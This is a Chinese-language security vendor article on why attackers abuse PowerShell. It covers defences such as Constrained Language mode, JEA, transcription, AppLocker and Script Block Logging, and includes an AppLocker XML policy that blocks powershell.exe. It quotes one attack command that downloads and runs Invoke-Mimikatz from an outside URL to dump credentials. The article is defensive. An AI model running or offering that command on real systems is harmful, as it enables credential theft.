为什么 PowerShell 对攻击者来说如此受欢迎?
有句老话:“一个人的工具可能是另一个人的武器。”这句话当然也适用于 Windows PowerShell。它随今天的每一套 Windows 操作系统一起提供,作为强大的命令行 Shell 和脚本语言,IT 专业人员会将其用于系统管理、远程管理、网络安全、软件开发等诸多工作。
另一方面,威胁行为者也会利用它来实现恶意行为,例如投递恶意软件、部署勒索软件以及窃取数据。本文将说明为什么 PowerShell 对攻击者如此有用,并提供防御 IT 环境的宝贵策略。
攻击目录:
为什么 PowerShell 是如此受欢迎的攻击平台?
那么,为什么这么多网络犯罪分子会使用 PowerShell 来发起攻击呢?首先,它是免费的。其他原因包括以下内容:
- 大多数商务用户在其 Windows 终端设备上都启用了 PowerShell。
- PowerShell 使用无文件(fileless)方式:在内存中直接执行命令和脚本,使其难以被检测到。
- 通过发起远程连接,它几乎可以访问任何 Windows 设备。
- 威胁行为者可以借助其他恶意工具(例如 Empire, DeathStar 和 CrackMapExec)来利用 PowerShell。
- GitHub 以及其他平台上有大量脚本可供攻击者使用(例如 Invoke-Mimikatz)。
一旦攻击者在本地环境(on-prem)中获得初始访问权限,他们就可以使用 PowerShell 来深入了解你的网络情况,并通过横向移动访问最敏感的数据以及其他 IT 资源。
如何降低 PowerShell 带来的风险
由于 PowerShell 被用于多种不同类型的攻击,必须实施保护措施来对抗其恶意使用。下面我们来看看降低因 PowerShell 引发的威胁风险的一些方法。
限制本地管理员权限
在 Zero Trust 网络时代,除非工作确实需要,否则标准用户不应对其设备拥有本地管理员权限。拒绝本地管理员权限不会限制对 PowerShell 的访问,但会限制用户——或已攻破其账户的对手——可以使用 PowerShell 做什么,因为许多 PowerShell 命令和脚本需要更高权限才能正常工作。此外,拒绝本地管理员权限还会限制用户对敏感文件夹和系统设置的访问。
使用受限语言模式
Windows PowerShell 支持多种语言模式,用于确定可以使用 PowerShell 的哪些部分。Constrained Language(受限语言)模式最初为 Windows RT 操作系统开发,随后又被添加到当前所有现代 Windows 操作系统中使用的 Windows PowerShell V5。
如下面所示,您可以在 Full Language(完全语言)模式下启动 PowerShell 会话:
可以使用以下命令将 PowerShell 会话切换到 Constrained Language(受限语言)模式:
在 Constrained Language(受限语言)模式下,PowerShell 仅限于一组有限的命令和脚本。超出这些限制的命令执行将被阻止,如下例所示:
Constrained Language(受限语言)模式还会限制对某些 PowerShell 功能的访问,例如使用 PowerShell 配置文件(profiles)以及加载其他 PowerShell 模块的能力。总体而言,这些限制有助于防止黑客利用 PowerShell 绕过系统安全措施。
不幸的是,这种防护措施存在一个明显的薄弱点:用户只需启动一个新的 PowerShell 会话,默认情况下它会以 Full Language 模式运行,并且对 PowerShell 的所有功能拥有完全访问权限。
使用 PowerShell Just Enough Administration (JEA)
PowerShell Just Enough Administration 允许你为管理任务实施基于角色的系统。可以把 JEA 看作是 PowerShell 的最小权限(principle of least privilege)安全方案。 当用户开始一个 JEA 会话时,会被分配一个受限版本的 PowerShell,只允许其执行与其角色相关的任务和命令。 这可以防止他们执行不需要的特权命令。
启用 JEA 是一个多步骤的过程。第一步是创建角色兼容性(role compatibility)文件,如下所示:
然后,你需要编辑 .prsc 文件,并定义角色的具体能力,例如允许用户执行特定命令。其他步骤包括创建会话配置文件,然后使用该文件在本地计算机上注册一个新的 JEA 端点。
提升对活动的可见性
你需要知道 IT 环境中正在发生什么。一个选项是使用 Windows 事件转发(Windows event forwarding,WEF)。WEF 是 Windows 操作系统中的免费工具,可从分布式系统中收集并集中管理事件日志。第三方做法则是使用安全信息和事件管理(security information and event management,SIEM)解决方案。SIEM 能够从多种不同系统中收集数据,并对这些数据进行汇总,从而全面了解你环境中正在发生的情况。
你还应启用 PowerShell 全局转录(transcripts)。它会在指定系统上记录所有 PowerShell 活动,以便之后可以审查已执行的命令。这对于审计和取证调查也很有帮助。要启用 PowerShell 全局转录,请创建一个 Group Policy object(GPO),然后进入 Computer Configuration > Administrative Templates > Windows Components > PowerShell,并打开 Enable PowerShell Transcription(如下所示):
使用 AppLocker 禁用 PowerShell 和脚本
AppLocker 随 Windows 10 Enterprise 一起提供,并提供了一种有用的方法来对应用程序和脚本进行白名单(allowlist)管理。它可以在本地系统上配置,也可以通过组策略(Group Policy)进行配置。要使用组策略,请创建一个 GPO,进入 Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker。创建可执行规则(executable rule),并选择 Deny,如下所示:
你可以通过发布者(publisher)、文件路径或文件哈希(file hash)来阻止应用程序。下面的示例策略使用文件哈希进行阻止,并且只允许本地管理员运行 PowerShell;任何其他用户的访问都会被阻止。
然后,你可以使用组策略(Group Policy)分发该策略;或者将其导出为 XML 文件,并导入到诸如 Intune 之类的 MDM 中。导出策略的 XML 代码如下所示:
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
<Conditions>
<FilePathCondition Path="*" />
</Conditions>
</FilePathRule>
<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FileHashCondition>
<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />
</FileHashCondition>
</Conditions>
</FileHashRule>
</RuleCollection>
<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
<RuleCollection Type="Script" EnforcementMode="NotConfigured" />
<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />
</AppLockerPolicy>
你还可以通过使用 Script Rules 策略来为指定文件夹创建允许规则,从而确保只能执行指定文件夹中的文件。具体可以使用类似下面这种简单的 PowerShell 脚本:
借助 Script Block Logging 检测恶意 PowerShell
PowerShell 5 引入了几种用于跟踪恶意 PowerShell 脚本的新技术。其中之一是 Script Block Logging。该级别的日志在 PowerShell 5 中默认启用,并会以明文(clear-text)记录 PowerShell 执行的完整脚本。这很有用,因为许多 PowerShell 攻击会利用难以解码的编码脚本。
让我们来看攻击者可能尝试隐藏其脚本的一种方式:使用如下脚本来下载并运行 Invoke-Mimikatz:
powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”
使用 PowerSploit 和 Out-EncodedCommand,攻击者可以创建该命令的编码版本,从而进一步实现混淆:
不过,PowerShell 事件日志仍会准确显示运行了什么,而不会进行任何编码:
Netwrix 如何提供帮助
尽管组织可以使用这些缓解与检测策略来监控并防护恶意脚本,但也有一些第三方产品可以简化这项工作。 Netwrix Endpoint Privilege Manager 让您轻松创建允许列表和拒绝列表,从而自动阻止用户运行不需要的应用程序(包括 PowerShell)。此外,这款工具还能在移除本地管理员权限的同时,仍然让用户能够执行实现高生产力所需的管理任务。
PowerShell 是一款功能强大的工具。请务必采取适当的预防措施,确保对手无法轻易利用它来对付您。
分享到
滥用 Entra ID 应用权限——工作原理与防御策略
AdminSDHolder 修改——工作原理与防御策略
AS-REP Roasting 攻击:工作原理与防御策略
Hafnium 攻击——工作原理与防御策略
DCSync 攻击解析:对 Active Directory 安全的威胁
理解 Pass-the-Hash(PtH)攻击
什么是 Golden Ticket 攻击?工作原理、检测与防护
gMSA 利用攻击与 Golden gMSA 攻击详解
DCShadow 攻击——工作原理、真实案例与防御策略
ChatGPT 提示注入(prompt injection):了解风险、示例与防范
NTDS.dit 提取攻击详解
Kerberoasting 攻击——工作原理与防御策略
Pass-the-Ticket(传票)攻击解析:风险、示例与防御策略
理解密码喷洒(password spraying)攻击
明文密码提取(Plaintext Password Extraction)解析:风险、示例与防范
Zerologon 漏洞详解:风险、利用方式与缓解措施
勒索软件攻击完整指南
Skeleton Key 攻击:工作原理与检测方法
横向移动(Lateral Movement):它是什么、如何运作及防护措施
中间人(MITM)攻击:它们是什么,以及如何防范
Silver Ticket 攻击
4 种服务账号攻击及防护方法
如何防止恶意软件攻击影响您的业务
什么是凭证填充(Credential Stuffing)?
使用 PowerUpSQL 破坏 SQL Server
什么是 Mousejacking(鼠标劫持)攻击,以及如何防御
使用 Security Support Provider(SSP)窃取凭据
彩虹表攻击:工作原理与防御方法
深入了解密码攻击及其防止方法
LDAP Reconnaissance
通过 Pass-the-Cookie 攻击绕过 MFA
Golden SAML 攻击终极指南